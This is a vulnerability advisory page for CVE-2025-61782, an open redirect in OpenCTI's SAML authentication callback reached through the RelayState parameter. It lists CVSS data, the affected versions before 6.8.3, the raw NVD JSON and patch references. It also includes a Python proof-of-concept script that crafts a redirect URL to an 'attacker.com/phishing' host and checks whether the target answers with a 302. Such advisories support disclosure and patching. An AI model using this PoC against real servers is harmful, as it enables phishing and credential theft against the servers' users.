Security Vulnerability Report
中文
CVE-2025-61782 CVSS 5.4 MEDIUM

CVE-2025-61782

Published: 2026-01-07 18:15:51
Last Modified: 2026-01-20 18:50:04

Description

OpenCTI is an open source platform for managing cyber threat intelligence knowledge and observables. Prior to version 6.8.3, an open redirect vulnerability exists in the OpenCTI platform's SAML authentication endpoint (/auth/saml/callback). By manipulating the RelayState parameter, an attacker can force the server to issue a 302 redirect to any external URL, enabling phishing, credential theft, and arbitrary site redirection. This issue has been patched in version 6.8.3.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:citeum:opencti:*:*:*:*:*:*:*:* - VULNERABLE
OpenCTI < 6.8.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import urllib.parse # CVE-2025-61782 Open Redirect PoC # Target: OpenCTI SAML Authentication Endpoint # Vulnerability: Open redirect via RelayState parameter TARGET_URL = "https://target-opencti.example.com" ATTACKER_URL = "https://attacker.com/phishing" # Construct malicious SAML callback URL with open redirect malicious_relay_state = urllib.parse.quote(ATTACKER_URL, safe='') exploit_url = f"{TARGET_URL}/auth/saml/callback?RelayState={malicious_relay_state}" print(f"[*] CVE-2025-61782 Open Redirect PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Attacker URL: {ATTACKER_URL}") print(f"[*] Malicious URL: {exploit_url}") # Send request to check for open redirect behavior response = requests.get(exploit_url, allow_redirects=False) if response.status_code == 302: location = response.headers.get('Location', '') print(f"[+] Open redirect confirmed!") print(f"[+] Server responds with 302 redirect to: {location}") if ATTACKER_URL in location or urllib.parse.unquote(ATTACKER_URL) in location: print("[!] VULNERABLE: Redirects to attacker-controlled domain") else: print(f"[-] Unexpected response: {response.status_code}") # Alternative PoC using standard URL encoding print("\n[*] Alternative PoC with raw URL:") alt_url = f"{TARGET_URL}/auth/saml/callback?RelayState={ATTACKER_URL}" print(f"[*] URL: {alt_url}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61782", "sourceIdentifier": "[email protected]", "published": "2026-01-07T18:15:51.223", "lastModified": "2026-01-20T18:50:03.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenCTI is an open source platform for managing cyber threat intelligence knowledge and observables. Prior to version 6.8.3, an open redirect vulnerability exists in the OpenCTI platform's SAML authentication endpoint (/auth/saml/callback). By manipulating the RelayState parameter, an attacker can force the server to issue a 302 redirect to any external URL, enabling phishing, credential theft, and arbitrary site redirection. This issue has been patched in version 6.8.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:citeum:opencti:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.8.3", "matchCriteriaId": "55B2B87D-80F6-40AD-A54E-D22C64E61924"}]}]}], "references": [{"url": "https://github.com/OpenCTI-Platform/opencti/commit/f755165a26888925c4a58018f7238ff92a0bd378", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OpenCTI-Platform/opencti/releases/tag/6.8.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/OpenCTI-Platform/opencti/security/advisories/GHSA-jc3f-c62g-v7qw", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}